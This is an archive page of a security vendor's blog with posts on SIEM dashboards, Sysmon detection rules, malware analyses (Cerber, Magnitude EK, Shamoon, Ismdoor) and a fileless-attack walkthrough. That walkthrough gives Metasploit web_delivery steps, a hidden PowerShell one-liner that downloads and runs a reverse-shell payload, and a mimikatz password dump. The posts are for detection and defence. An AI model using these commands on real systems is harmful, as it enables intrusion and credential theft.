Skip navigation
All Places > Products > RSA NetWitness Platform > Blog > 2017 > February

The RSA SecurID dashboard allows analysts to monitor specific identities and their behaviors. It empowers organizations to monitor two-factor environments that utilize RSA's SecurID for authenticating to protected resources. Users can run reports using the NetWitness Report Engine, either ad-hoc or on a recurring schedule.


Sample dashboard screen:

SecurID Dashboard Sample


Dashlets Contained in this Dashboard

The SecurID dashboard contains the following dashlets:

  • RSA SecurID-Account Lockouts
  • RSA SecurID-Bad PIN Good Token Code
  • RSA SecurID-Bad PIN Previous Token Code
  • RSA SecurID-Bad Token Code Bad PIN
  • RSA SecurID-Bad Token Code Good PIN
  • RSA SecurID-Static Passcode Authentication
  • RSA SecurID-Token Code Reuse
  • RSA SecurID-Unknown User Failed Login


Before you can deploy the RSA SecurID dashboard, you must meet the following prerequisites:

  • Must be a logs customer
  • Must be ingesting RSA SecurID logs
  • Must be using Security Analytics 10.6.x


The RSA SecurID dashboard is not currently delivered through Live. Rather, you need to download a configuration file and add it into your RSA NetWitness Suite UI.


You need to download the following attachments from the blog post:

  • (charts)
  • RSA_SecurID.cfg (dashboard)


Perform the following procedures to deploy the RSA SecurID Dashboard:

  1. Add the Result Meta Key to Configuration Files
  2. Add a Data Source to a Reporting Engine
  3. Import Charts Archive
  4. Set the Data Source on Each Chart
  5. Enable the Charts
  6. Import the Dashboard Configuration File
  7. Choose Dashlet Charts

Add the Result Meta Key to Configuration Files

To get value out of this dashboard, you need to index the result meta key.


To add result key to RSA NetWitness Suite:

  1. Update index-concentrator-custom.xml on the Concentrator, as follows:
    1. In the Security Analytics menu, select Administration > Services, and select a Concentrator.
    2. Select View > Config from the Actions menu.
    3. Select the Files tab, then select the index-concentrator-custom.xml file.
    4. Add the following line: 
      <key description="Result" level="IndexValues" name="result" format="Text" valueMax="10000" defaultAction="Open"/>
    5. Click Apply.
    6. Restart the Concentrator Service.
  2. Update table-map-custom.xml on the Log Decoder, as follows:
    1. In the Security Analytics menu, select Administration > Services, and select a Log Decoder.
    2. Select View > Config from the Actions menu.
    3. Select the Files tab, then select the table-map-custom.xml file.
    4. Add the following line:
      <mapping envisionName="result" nwName="result" flags="None" format="Text" envisionDisplayName="Result|Volume|Information|Reason|Succeed/Failed"/>
    5. Click Apply.
    6. Restart the Log Decoder service.
  3. Remember to restart both the Index Decoder and Concentrator services that you updated, so that your changes are applied.

Add a Data Source to a Reporting Engine

In most cases, for customers that have other reports running, the Data Source is already defined. If so, you can skip this section.

Perform the following steps to associate a data source with a Reporting Engine:

  1. In the Security Analytics menu, select Dashboard > Administration > Services.

  2. In the Services Grid, select a Reporting Engine service.

  3. Click  View > Config.

    The Services Config View of Reporting Engine is displayed.

  4. In the Sources tab, click Available Services.

  5. Select the Concentrator as the Data source.

Import Charts Archive

  1. Download the Charts archive,, which is attached to this blog post.
  2. In the Security Analytics menu, select Reports.
  3. Click Charts.
  4. From the Chart Groups panel, select a folder to import the file.
  5. Do one of the following:
    • ln the Chart Groups panel, click  Import.
    • In the Chart toolbar, click  Import.
  6. Click Browse to navigate to the binary file.
    Security Analytics provides a file system view of the files.
  7. Locate the file that you downloaded in step 1, and click Open.
    The file is added to the Import Chart list. The RSA SecurID rules are available through Live. If you have deployed the rules from Live, then choose to not overwrite on Import.
  8. (Optional) To overwrite any existing rule in the library with an identically named rule in the binary file when importing, check the Rule checkbox. If you do not select the Overwrite option, and an identical rule is encountered in the binary file, the binary file is imported and no error message is displayed.
  9. (Optional) To overwrite any existing chart in the library with an identically named chart in the binary file when importing, check the Chart checkbox. If you do not select the Overwrite option and an identical chart is encountered in the binary file, the binary file is imported and no error message is displayed.
  10. Click Import to import the binary file.

Set the Data Source on Each Chart

  1. For each imported chart, go to Reports > Charts.
  2. Select the Chart and click the edit Icon.
  3. Select the Data Source for each Chart (set to the Concentrator where the Secure ID logs are being aggregated).
  4. Click Save.

Enable the Charts

To enable the charts, do the following:

  1. In the Security Analytics menu, select Reports.
  2. Click Charts.
  3. Click Identity Group.
    The RSA SecureID folder appears.
  4. Select the RSA SecureID folder.
    All charts related to RSA SecureID are listed under the Charts list panel.
  5. In the Charts list panel, select a chart or several charts that display disabled button in the Enabled column.
    select chart dialog box
  6. Click enabled button.

A confirmation message indicates that the chart(s) state is changed successfully.

Import the Dashboard Configuration file

Important: Importing a dashboard only works on 10.6.x systems, because of known permission issues importing Dashboards into 10.5.x (or prior releases).

  1. Download the dashboard configuration file, RSA_SecurID.cfg, which is attached to this blog post.
  2. In the dashboard toolbar, select Import Dashboard icon Import Dashboard.
  3. Browse to the dashboard file in the Import Dashboard dialog.
  4. Click Import Dashboard.
  5. Reconnect the dashlet to each corresponding report dashlet by clicking the icon shown in the following illustration.
    Reconnect Dashlet image

The dashboard is displayed in the UI.

Choose Dashlet Charts

After importing the Dashboards, the RSA SecurID Dashboard Dashlets need to be associated with corresponding dashlet charts.


After the Dashboard is imported, the screen looks something like this:

blank dashboard


To select charts for the dashlets:

  1. Click on the Dashlet setup Icon, dashlet setup icon.
    The dashlet Options dialog box is displayed.
    dashlet options
  2. Click Browse to choose the chart to display.
  3. On the Select Charts windows under the Groups menu, select the Identity folder.
    Select Chart screen
  4. Select the RSA SecurID folder.
  5. For each chart listed, select its checkbox and then click Select.
  6. In the Options dialog box, click Browse and select the chart that matches the name shown in the Title.
  7. Click Select.
  8. Click Apply.
  9. Repeat steps 1–8 for each dashlet in the dashboard.


The RSA SecurID Dashboard only applies to customers collecting from logs. Thus, All the dashlets for this dashboard have a medium of Log.


The following table describes the dependencies for each dashlet, as well as other details.


Report RuleReport ChartOther
RSA SecurIDBadPIN Good Token CodeRSA SecurIDBadPIN Good Token CodeRSA SecurIDBadPIN Good Token CodeThe RSA Authentication Manager and User Credential Manager event source (log parser rsaacesrv) is required.
RSA SecurIDBadPIN Previous Token CodeRSA SecurIDBadPIN Previous Token CodeRSA SecurIDBadPIN Previous Token Code
RSA SecurIDBadToken Code Bad PINRSA SecurIDBadToken Code Bad PINRSA SecurIDBadToken Code Bad PIN
RSA SecurIDBadToken Code Good PINRSA SecurIDBadToken Code Good PINRSA SecurIDBadToken Code Good PIN
RSA SecurIDStatic Passcode AuthenticationRSA SecurIDStatic Passcode AuthenticationRSA SecurIDStatic Passcode Authentication
RSA SecurIDToken Code ReuseRSA SecurIDToken Code ReuseRSA SecurIDToken Code Reuse
RSA SecurIDUnknownUser Failed LoginRSA SecurIDUnknownUser Failed LoginRSA SecurIDUnknownUser Failed Login
RSA SecurIDAccount LockoutsRSA SecurIDAccount LockoutsRSA SecurIDAccount Lockouts

There have been some very interesting recent papers and presentations regarding Sysmon 6.0 and detection of threats on endpoints using Windows logging. 

Mark R. RSAC 2017 presentation

There are also some very interesting templates that can be applied to Sysmon 6.0 that help focus the logging on events that are relevant to endpoint investigations and threat detection.  One of the best that I have seen so far is this one.

SwiftOnSecurity - GitHub sysmonconfig

There is also a very interesting summary and description of Sysmon and other templates and hunting processes here as well as presentations (the BotConf one is interesting)

MHaggis - GitHub - Sysmon DFIR


All of this is excellent but how do you get Sysmon 6.0 logs into NetWitness (NW) Logs and start using this knowledge to look for suspicious events in your environment (and by extension reduce you windows logging volumes to just those events that you need potentially).


Using the default Microsoft Windows Event Forwarding (WEF) that I have posted about previously I attempted to collect sysmon logs and pulling them into NW Logs to start using for reporting or alerting.

  1. Start with setting up WEF (WEC)
  2. Install Sysmon on that same Collection point so that the log would show up in the collection source option for the subscription (there may be a better way to do this but thats all I could figure out)
  3. Using the Sysmon template and Sysmon 6.0 I followed the steps to install, accept the eula and install as service
  4. Add that event source for the Subscription (after reboot) (Application And Service Logs - Microsoft - Windows - Sysmon - Operational)
  5. Now you are ready to pull in Sysmon logs, set up the client side
  6. On each client that you want to install Sysmon on, copy the sysmon 6.0 binary and the template and install as you did on the Collection server (sysmon.exe -accepteula -i sysmonconfig-export.xml)
  7. Reboot the client and now you should see the sysmon logs being created locally, and then hopefully captured by WEF and pulled centrally.
  8. Now with WEF set up properly you should see these events in NW Logs
  9. You can also add the collection log to your WinRM configuration so that you can collect Sysmon logs if you are not using WEF
    1. Add channel : Microsoft-Windows-Sysmon/Operational


Events will look like this using the native windows parsers


I also noticed that there was an app from MHaggis that calls out a number of events to check for that could be flagged to highlight events to look for that I have translated into an application rule that you could import to begin to flag on the really important stuff from Sysmon.

There are other interesting rules that appear to be possible, that will be investigated but if anyone has done their own work please comment and add to this post.


name="sysmon-critical-processes" rule="device.class='windows hosts' && event.source = 'microsoft-windows-sysmon' && process ends process ends '\\powershell.exe','\\msbuild.exe','\\psexec.exe','\\at.exe','\\schtasks.exe','\\net.exe','\\vssadmin.exe','\\utilman.exe','\\wmic.exe','\\mshta.exe','\\wscript.exe','\\cscript.exe','\\cmd.exe','\\whoami.exe','\\mmc.exe','\\systeminfo.exe','\\csvde.exe'" alert=eoc type=application



added a fuller application rule list based on the splunk app that was posted by MHaggis.  Still testing out some of the converted rules to nwr to see if they fire as expected but figured I'd post what I have for now if anyone else wants to test them out in a better environment]


Looks to be promising, as always test and verify but comments and suggestions are always welcome to help move this forward.

This came out of a separate discussion but I thought it could be helpful for others.


A customer was looking to write an ESA rule that essentially was doing an 'ends' against meta.  For example, '' or '' could be looked for by ''  Things like this could actually be done on the decoder and created as meta for easy searching.


You could create application rules on your decoders that specifically look for the domain of interest.


name=maliciousdomain rule=" ends ''" alert=alert type=application


Then, just have ESA look for    alert = 'maliciousdomain'  since it will already be meta at that point.


You could also look for the root host for any and all sessions where is populated.  I wrote a parser to help with that.  The purpose being that if I wanted to exclude any domain, I could.  This uses a custom meta key called '', so an index change on the concentrators would be needed if you wanted to query against it.  If you want to change the meta key, feel free to do so.



The parser works by performing a meta callback against '' and then examining the location of all the dots in the hostname.  It then compares the last position against the TLD's listed in a table and then moves to the left if found.  


Since this is just performing a meta callback, it can work on both packet and log decoders.  Just remember that on log decoders, you would need to add the nwll.lua file.  You can download it from Live and deploy it manually.


Happy hunting.



Fileless infection is a method used to compromise a system without writing any file to disk. This allows to remain stealthy and avoid detection from some antiviruses, EPP and EDR solutions that are file based for detection.


We will look at:

  • How to perform the attack
  • How to detect it with RSA NetWitness




Testing the Attack

The following is an example of how to perform such an attack, gaining a Meterpreter shell on the victim’s machine using Metsaploit (on the attacker’s side) and Powershell (on the victim’s side) without writing anything to disk.

I am using Kali Linux as the Attacker and Windows 7 as the victim.

1st we need to run Metasploit:




To deliver the PowerShell script, we will use exploit/multi/script/web_delivery

use exploit/multi/script/web_delivery


Metasploit would generate the ps1 file, start a webserver and host it for delivery. We will use PowerShell on the victim’s machine to download the script and meterpreter payload, and load it directly into memory without writing anything to disk.

Now we will look at the parameters that need to be configured:

show options


We need to:

  • Set “Target” to 2 for PSH (PowerShell)
  • Set “LHOST” to the IP of the attacker (in my case,
  • Set the payload we want to use to get the reverse shell (I will use windows/meterpreter/reverse_tcp)

set target 2
set payload windows/meterpreter/reverse_tcp


We can now execute the payload:

exploit -j



To gain reverse shell on the victim, we just need to execute the following command (no malware installed, nothing will be written on disk, it will all happen from memory) by replacing the URL at the end with the one provided in the output of Metasploit under “Local IP” (with your IP address and the correct randomly generated filename):

powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring(‘');



We can now see that we have an active session in Metasploit.




We could then load mimikatz in memory to dump passwords, without touching the disk.

session -i 1

load mimikatz






Visibility and detection of such attacks is possible using RSA NetWitness Packets and RSA NetWitness Endpoint.


Using RSA NetWitness Packets

Reconstruction of the initial PowerShell script based on full packet capture from the network traffic:


Reconstruction of the Meterpreter payload based on full packet capture from the network traffic:





Using RSA NetWitness Endpoint


Using RSA NetWitness Endpoint, it is possible to also have the needed visibility to detect this type of attack even when the network traffic is encrypted, using memory and module behavior analytics on the endpoint.

Suspicious Threads detected showing that PowerShell.exe loaded a DLL in memory (Meterpreter):


By doing static analysis on the in-memory modules, we can try to identify them. We can see strings related to mimikatz in one of the modules:


And the IP address and Port Number used by the Meterpreter payload hard coded in the second module:


We can also see suspicious behaviors and IOCs that have been triggered for PowerShell:


We can also track the behavior of the different processes on the victim’s machine to see how the attack is performed and what commands the attacker has issues after gaining access. In this case:

  • the initial PowerShell command to grab the hosted PowerShell script and load it in memory
  • the executed PowerShell script with all parameter that load the Meterpreter payload in memory
  • the commands executed by the attacker after he gains access (whoami, hostname, ipconfig, netstat -an)


It’s been several weeks since FirstWatch conducted a detailed investigation of recent activity for Cerber ransomware, and after doing so (again) it’s clear that not much has changed.  Current infections appear primarily due to the ongoing PsuedoDarkleech campaign, which delivers Cerber via the RIGv exploit kit, and also a secondary malspam campaign that delivers the malware via a zipped .doc or .js attachment.  In each of these instances though, the underlying malcode appears largely unchanged (see a sample here), and as expected we observed the tell-tale UDP spray to the subnet over port 6892.


Cerber domains remain heavily registered via Eranet International Limited, and we even noted some old friends (e.g., 'Xinjuan Wang') in the registration details.  We also noted the prevalence of ‘852’ prefaced 13 digit phone numbers and disposable email accounts carried by,,, and within the registration details.  These are all consistent with the ransomware's modus operandi, and a snapshot of the Cerber operational infrastructure as of February 7, 2017 is below (with some notable infrastructure called out):


 cerber maltego


In the course of this analysis, we were able to improve current detection by updating keys within the NW detection capability for Cerber’s [key].[dga].[tld] payment site format. Additionally, 225 indicators of compromise were published to RSA Live within the FirstWatch C2_IPs and C2_DOMAINs feeds (threat.source = ‘rsa-firstwatch’, threat.category = ‘ransomware’, and threat.desc = ‘cerber’).




A couple good references by Brad Duncan for technical walk thru:



The RSA Netwitness Suite has a lot of data flowing into it.  However, it does not take in everything.  Context, which is necessary to properly maintain situational awareness, can come from other sources and can help analysts find answers to the questions they have.  One such source is Shodan.


Shodan is a search engine that can be used to find information about computers and other devices that are connected to the Internet.  From web servers to web cameras...routers to refrigerators.  Shodan has a wealth of information about those IP addresses and hostnames and that information can be queried with an authorized account.  This could tell you public information about your own organizations systems and address space that you were not aware of previously.


To make the search a little easier, you could take IP's and hostnames found in the RSA Netwitness Suite and pivot into a Shodan search for them.


I created a couple of right-click plugins that could be used on the RSA Netwitness server in the Investigations module.  They can be created in the following way:


Go to your server with an administrator account and go to Administration, System and click on the Context Menu Actions.  Then, click on the ( + ) plus icon.



Then, copy and paste the text from the plugin file into Context Menu Configuration editor box.  Since there is one for IP addresses and another for Hostnames, you would perform this task twice.



When finished, click ( OK ).  This will save the plugin.


You should now see two new plugins in your list.



You will likely have to close or refresh the Investigator browser tab and reopen it.  Then, right click on either the IP address or meta and you should see the option for an External Lookup into Shodan.




Hopefully, this provides you with a bit more knowledge and understanding about the data you see every day.


Good luck and happy hunting.



Although Rig EK is the dominant one in the market right now, our sources from the RSA FraudAction Intelligence team indicate that Magnitude EK is still being used by some private groups and not offered anymore for the wider community of fraudsters in the underground crimeware markets. This is an interesting fact, since it shows us that Magnitude EK is not yet to lose its relevancy; moreover – threat actors are using it privately for specific campaigns.

It’s important to note that although Magnitude EK, just as any other exploit kit, may be packed and shipped with a variety of exploits targeting various software components (usually tracked by CVE numbers, as long as the vulnerability had been previously reported and documented), additional EK related elements tend to be shared between many different gates, regardless of the exploited vulnerability or delivered malware variant.

These shared EK elements include the landing pages, JavaScript obfuscation method and shellcode delivered upon successful exploitation.

Security researchers tend to focus on the detection, analysis and dissection of these specific elements, as their presence in your network serves as a generic indication for malicious activity, regardless of the exploited software vulnerability which may vary significantly between different network configurations.

Today we chose to focus on a specific variant of Magnitude EK in order to demonstrate the shared behavior which we expect to find in additional variants.

The analyzed PCAP file can be found in VirusTotal using the following MD5 hash: 6129fee0eae386e8c5040a2e63c20f44.


Network Detection

You can see below how the malicious traffic looks in RSA NetWitness® Logs and Packets after applying the appropriate query. This query should be used only as a quick pivot to find malicious leads to investigate, then drill deeper to validate malicious activity, assuming the appropriate meta keys are enabled:


“service = 80 && action = 'get' && referer exists && filename regex '[0-9|a-z]{8,32}' && query contains 'win%20'”


Related indicators of compromise were added to Live, you can find them under the threat description: ‘magnitude-ek’.

In addition we will release a dedicated LUA parser for enhanced detection results.

Now let’s take a closer look under the hood of the Magnitude EK.


The Infection Chain

Stage 0

The first file loaded from the EK is a small obfuscated JavaScript which sends the screen color depth and dimensions to load the next file. It sends the details as parameters in a GET request and receives back the next stage.

Stage 1

The script retrieved in this stage contains a list of Kaspersky’s Virtual Keyboard Plugin API calls, iterates over them and tries to create an ActiveX object. In each iteration, if an object is successfully created, this indicates the product is installed on the victim’s computer, and a flag that holds the “object’s creation fail” Boolean value changes from ‘true’ to ‘false’. Finally, if the “object’s creation fail” was indeed set to ‘false’, stage 2 is called.

Stage 2

The second HTML has 2 main functionalities:

  1. A small Flash loader is being called and automatically executed. A classid object is created and the appropriate Flash file is loaded and afterwards played by assigning the relevant JavaScript tags: creating a Flash type object, setting the URL of the file that will be played and setting the ‘play’ value to ‘true’. 
  2. An HTML page containing another JavaScript (stage 3) is being executed in an iframe.



Stage 2 Flash payload ActionScript:


The capabilities class is the most relevant library that’s loaded here. This class is for the ongoing communication with the gate, since this class can provide details about the system and runtime environment of the host application where the Flash file is being executed. Here, the ActionScript retrieves the Flash player’s platform and version and sends the information to another URL, to trigger the second Flash file that can be potentially exploited.

In the following image taken from Wireshark, we can see that Flash file being loaded by the small Flash loader whose ActionScript we saw earlier in stage 2. As mentioned, the newly downloaded Flash file can potentially trigger a Flash exploit in order to run malicious code and deliver the final payload:


JavaScript Analysis

The script loaded in stage 3 contains ~500 lines of code and of course is obfuscated. We will focus on some key points:

  1. The first function that obfuscates multiple strings in the script and version checking to see if the victim has the appropriate JavaScript version installed.
  2. The line triggering a JSON exploit.
  3. The shellcode.


So, let’s begin:

  1. The following function (kv9035r2o8) appears in several different ‘stage 3’ files. Each time the function converts an obfuscated string from Hex to ASCII by reading two chars at a time and using a different numeral system (here it’s base19). If we use the string shown below as an input we receive: ‘ScriptEngineBuildVersion’. A new window.ScriptEngineBuildVersion object will be created and variables will be updated with the version details. Afterwards, in several places in the script, relevant checks will be made, to make sure the JavaScript version ran by the browser is vulnerable for the exploit. 
  2. Here we can see the arguments that will be passed to the JSON stringify function (when passing the below string to ‘kv9035r2o8’ we’ll get ‘stringify’) that later will be used to invoke CVE-2015-2419, just like in Angler EK described in FireEye’s blog
  3. Below is a part of the obfuscated shellcode that will be executed upon successful exploitation of the vulnerability mentioned above. It will also first be passed to the same ‘kv9035r2o8’ function to deobfuscate the actual code. 

Once we extract the shellcode and open it in IDA, we can see some interesting strings, such as a string that contains the command line that will execute the final payload and another that contains a gate URL: 

Next, we will start debugging and single stepping through the code. Here are key steps inside the shellcode:

  • Relevant WinAPIs, containing methods that will later be used to execute the shellcode, are being loaded to memory: 

  • Next, the URL string is being sent as a parameter to wininet.InternetOpenUrlA function that stored in EDI register. Finally, wininet.InternetOpenUrlA creates the internet connection, and when sniffing in Wireshark, we can actually see that call being made.

  • The gate seems to be offline, so we can’t see the actual download of the payload. Nevertheless, we can dynamically edit the download URL and point it to the Apache server of the host machine where the payload that was downloaded from the PCAP is pre-stored.

  • As stated in Hardik Suri’s analysis in, the payload is the CVE-2015-2426 exploit from hacking team. After the payload was successfully downloaded, it is stored in EDI register, by calling the function InternetReadFile. 

  • The shellcode then loads the next URL to download what seems to be the final payload, and the filename it will use in order to write and execute the downloaded file in the infected system. It then will start going over open processes and search a process to inject code into, most likely in order to download and execute the final payload from the injected process. In our case, the process is “taskhost.exe” that crashes. 

  • After the crash, we can see that the shellcode has a fallback mechanism and still, it will try to download the final payload. 
  • Then, save it in the current user’s temp folder as “a.exe” and execute it. In our case, “a.exe” will also crash. This will be done using the newly written binary from the command line, using WMI. 
  • Finally, the shellcode will try to redo the same process, and this time executes the downloaded malware as “b.exe” using PowerShell. Finally, after both have failed in our case, the shellcode will exit and terminate. 


In conclusion, we see that this variant of Magnitude Exploit Kit has used several techniques and known vulnerabilities in order to achieve infection of the targeted machine and includes profiling prior to potential infection. Magnitude EK is not as dominant as before in public usage, but is still in use, mostly by private and closed groups of financially motivated cyber criminals. 



Based upon a recent resurgence in related attacks, the FirstWatch team is once again monitoring Shamoon activity.


Shamoon is the name given to a collection of malware agents that destructively impacts systems, and which was targeted specifically against the Saudi Arabian energy sector beginning in 2012. At that time, the Shamoon attack was widely considered to be the most destructive to be experienced by the business sector to date[1]; with 35,000 impacted systems each either partially or completely wiped, and placing 10% of the worlds oil supply at risk, it was an unprecedented attack. For this reason, Shamoon was covered extensively by both the media and research communities, including analysis by FirstWatch. On the morning of the attack, responsibility for the attack was claimed in a pastebin post[2] by the hacktivist group identifying itself as The Cutting Sword of Justice. Subsequent analysis by several State Intelligence Agencies, as well as the InfoSec threat research community arrived at a  general consensus that the attack was in fact a state-sponsored attack, and that the hacktivist front was merely a cover.


Recently, Shamoon has returned after 4 years of inactivity; in November of 2016, Shamoon resurfaced in a targeted attack against the Saudi Arabian General Authority of Civil Aviation, with the disk wiper component having been configured to detonate at a time when staff would have gone home for the weekend, ensuring maximum destructive impact[3] Later that month, a renewed attack using updated 64-bit variants occurred. Finally, in January of 2017 a third wave of attacks against multiple targets in both the public and private sectors was observed.


Here’s a summary of what we know about this resurgent wave of attacks:


  • New variant first used in targeted attack against a single Saudi organization, the Saudi Arabia’s General Authority of Civil Aviation (GACA) (December) [4]
  • Recent reports claim that as many as 11 Saudi orgs may have been targeted; Mandiant reported to be conducting response ops at several affected orgs [5]
  • Indications that Shamoon 2 may be aligned with Greenbug, and leveraging the Ismdoor RAT [6]
  • Infection vector is spearfishing; one potential subject may be “FINAL REMINDER!! TOP URGENT” [7] 
  • Email contains an archive (.rar) which includes  PDF and CHM attachments which result in download/installation of Ismdoor RAT
  • Following install of Ismdoor, attack  leverages mimikatz and powercat to move laterally, extend impact
  • Updated components still leverage a timing function designed to activate the wiper component at a preconfigured date and time
  • Some components are identical to those leveraged in the 2012 attacks; the commercial EldoS RawDisk driver uses the same temporary license that expired in August of 2012, and simply manipulates the system clock in order to enable the RawDisk component
  • Objective is delivery and execution of the Disttrack payload; Disttrack is highly destructive, and designed to damage as many systems as possible
  • Samples are configured with invalid address for C2 server (either or missing); Attacks have been coordinated to coincide with the end of the working week in Saudi Arabia in order to increase footprint over the weekend
  • Once established, malware attempts to spread  to ADMIN$, C$\Windows, D$\Windows, and E$\Windows shares on target systems using current privileges
  • If unsuccessful, hardcoded credentials will be leveraged (* See Below)
  • Prevalence of similarities in attack heuristics and TTPs suggest the same nation-state actor as 2012 attacks


Shamoon 2 now includes capabilities that allow it to target and impact virtualization products; VDI solutions such as Huawei’s FusionCloud may be specific targets [8]

  - Important to note, as virtualization solutions have been leveraged as a mitigating capability against both destructive and ransom-based attacks;

  - Many virtualization solutions run atop Linux, and thus are not directly affected by the Windows-only malware components; however, there are indication from recent attacks that attackers have been able to log in to management interfaces using compromised credentials and manually affect destructive actions agains the virtualized infrastructure


- Leverages stolen/harvested credentials to propagate and affect action on objectives [8]

  - “16 sets of user and administrator account credentials hardcoded into the malware”

  - “several of the usernames and passwords are found within official documentation as administrator accounts for Huawei’s virtualized desktop infrastructure (VDI) products, such as FusionCloud”


- No significant C2 communication identified for the core/legacy Shamoon components

  * Note that  the Greenbug Ismdoor RAT does have C2 check-in and beacon components; FirstWatch has published additional analysis of the Ismdoor trojan component of these attacks at, and will continue to investigate.


  Additionally, detection for these capabilities was released in the Emerging Threats ETPRO IDS rulesets on 1/25/2017 as follows:

    - 2824617 - ETPRO TROJAN Greenbug Ismdoor Checkin (trojan.rules)

    - 2824618 - ETPRO TROJAN Greenbug Ismdoor CnC Beacon (trojan.rules)

RSA NetWitness for Logs customers who are leveraging Snort or Suricata IDS sensors as a part of their detection suite may leverage these signatures for additional detection options.




Domains :


User Agent:



Query Strings:

Query contains "?commandId=CmdResult="

Query contains “//Home/GetFile?commandId=“

Query contains “//Home/SaveFile?commandId=CmdResult=“

Query contains “//Home/SaveFile?commandId=“


File Hashes:

































EldoS RawDisk:





























Communications component:





Greenbug Ismdoor RAT:






The RSA FirstWatch team is continuing to monitor and analyze these attacks and the associated malware, and will publish or communicate details as appropriate.











Ismdoor is a remote access Trojan used by the Greenbug cyberespionage group against different organizations in the Middle East. In addition to collecting data from an infected system, it has the ability to download and install binaries. In this blog post, we will shed some light on its network activity and show how to detect it using RSA NetWitness.


After infecting a system, the malware reaches out to its C2 server as follows:



Some Ismdoor binaries use a different filename to check the connection with the server:



If the response from the server is ‘Ok’, the malware knows that it can start receiving commands from the server so it sends another POST request:



In this case Ismdoor will execute the systeminfo command on the infected system to collect its information. It saves the command output to a temp file ‘test.txt’ in C:\Users\<user>\AppData\Local\Microsoft\Windows\TmpFiles. The content of the text file is obfuscated, saved to another temp file in the same directory. The obfuscated data is submitted to the server and both files are deleted.



The URL is not the same across Ismdoor variants:



Based on those network artifacts and assuming that the appropriate meta keys are enabled, two different queries can be used to detect Ismdoor network activity:


  • First to detect the check-in you can use:

    service = 80 && action = 'post' && referer !exists && directory = '//home/' && client = 'winhttpclient'

  • Second to detect the C2 activity you can use:

    service = 80 && action = 'post' && referer !exists && query begins 'commandid=cmdresult='


For more information on Greenbug, please check Symantec blog here. Scan results for Ismdoor variants can be found here and here.


All the IOC from those HTTP sessions were added to the following RSA FirstWatch Live feeds:

  • RSA FirstWatch APT Threat Domains
  • RSA FirstWatch APT Threat IPs

If threat.desc meta key is enabled then you can use the following query:
   threat.desc = ‘apt-Ismdoor-c2’

Unfortunately its not currently possible to see if the maximum sessions behind on an ESA easily. This script enables it to be monitored.



./ -w VALUE -c VALUE | -h

This plug-in is used to be alerted when maximum ESA behind sessions is reached

-w/c Sessions behind integer
To warn when 200 sessions behind and critical when 300 sessions behind
example: ./ -w 200 -c 300
 ./ -w 1 -c 2
CRITICAL behind (>2), Sessions behind: : 26167 |Sessions behind=26167 ;;;
[root@rsaesa ~]# ./ -w 1 -c 2
CRITICAL behind (>2), Sessions behind: : 35446 |Sessions behind=35446 ;;;
[root@rsaesa ~]# ./ -w 1 -c 2
CRITICAL behind (>2), Sessions behind: : 35446 |Sessions behind=35446 ;;;
[root@rsaesa ~]# ./ -w 1 -c 2
CRITICAL behind (>2), Sessions behind: : 30390 |Sessions behind=30390 ;;;
[root@rsaesa ~]# ./ -w 1 -c 2
CRITICAL behind (>2), Sessions behind: : 30390 |Sessions behind=30390 ;;;
[root@rsaesa ~]# ./ -w 1 -c 40000
CRITICAL behind (>40000), Sessions behind: : 52687 |Sessions behind=52687 ;;;
[root@rsaesa ~]# ./ -w 1 -c 50000
CRITICAL behind (>50000), Sessions behind: : 52687 |Sessions behind=52687 ;;;
[root@rsaesa ~]# ./ -w 1 -c 50000
CRITICAL behind (>50000), Sessions behind: : 50476 |Sessions behind=50476 ;;;
[root@rsaesa ~]# ./ -w 1 -c 50000
CRITICAL behind (>50000), Sessions behind: : 50476 |Sessions behind=50476 ;;;
[root@rsaesa ~]# ./ -w 1 -c 50000
CRITICAL behind (>50000), Sessions behind: : 54902 |Sessions behind=54902 ;;;
[root@rsaesa ~]# ./ -w 1 -c 50000
CRITICAL behind (>50000), Sessions behind: : 60099 |Sessions behind=60099 ;;;
[root@rsaesa ~]# ./ -w 1 -c 500000
WARNING behind (>1), Sessions behind: : 60099 |Sessions behind=60099 ;;;

If no values for WARN or CRITICAL are specified then a warning value of 500 and a critical value of 1000 is assumed. These should be adjusted as to what is normal in your environment.

One of my favorite troubleshooting commands as well as a method to archive and export configuration data for offline analysis is the whatiswrong command from NwConsole.


I am sometimes forgetful when looking for the commands I need so i wrote a wrapper script for this command that asks for the username, password, host and port to connect and grab the relevant command output as well as the error logs for the last 100 events for the last x days (configurable in the script).


Makes it very easy to run this command before you make a change, and then after the change to archive the configurations as well as look for any errors that may be in the logs.


output is written to a file locally where the script is run from with the date and hostname of the appliance/service .


Comments and improvements are welcome, hope it helps save typing.

After reading through a few SANS resources, I came across some interesting topics regarding the detection of rare processes to help pin point malicious applications running on a host; from this, I decided to create an EPL rule to baseline processes on Windows hosts and alert if any processes deviated from the norm.


The principle behind this rule is to profile every Windows host in the estate and keep track of the processes which run on said hosts, should they diverge from the average they are declared as rare and an alert is generated for analysts to investigate; the rule is written in a way to learn what is normal within a specific environment and baseline accordingly.




The following meta keys need to be indexed for the below rule to work:-


  • event_computer
  • process


Other than that, deploy the rule and you're good to go!


The EPL Rule

@Name('Create Window')

CREATE WINDOW days) (theDay int, event_computer string, process string, counter int);


@Name('Insert into Window')

on Event(process IS NOT NULL AND event_computer IS NOT NULL)

merge winProcess

WHERE Event.process = winProcess.process AND Event.event_computer = winProcess.event_computer AND current_timestamp.getDayOfWeek() = winProcess.theDay

when matched

then update set counter = counter + 1

when not matched then INSERT

SELECT current_timestamp.getDayOfWeek() as theDay, event_computer, process, 1 as counter;





SELECT * FROM winProcess as original

WHERE counter <= 0.2* (

SELECT avg(counter) FROM winProcess as recent

WHERE original.theDay = recent.theDay and original.event_computer = recent.event_computer);

One of the most well-known exploit kits in the crimeware underground marketplaces, clearly dominating the overall exploit kits category during the last several months, is no other but the RIG EK.


Many words have been poured on RIG’s close ties to Ransomware peddlers, a constantly growing threat which without a doubt served as one of the most successful revenue sources for the fraudsters during the past two years, however today we would like to explore a different angle of the RIG EK.


Today we chose to focus our attention on the general RIG exploitation delivery and implementation method, rather than focusing on any explicit exploit as these components (landing page, Javascript obfuscation and Shellcode) are shared and used by the different RIG gates regardless of the exploited vulnerability.


Network Detection


How can one identify and detect RIG EK activity based on network traffic analysis?

  • You can see below how the malicious traffic looks in RSA NetWitness® Logs and Packets investigator after applying the appropriate query. This query can be used to detect the traffic upon the execution of the exploit, assuming the appropriate meta keys are enabled: “service = 80 && action = 'get' && query contains 'fPrfJxzFGMSUb-'”


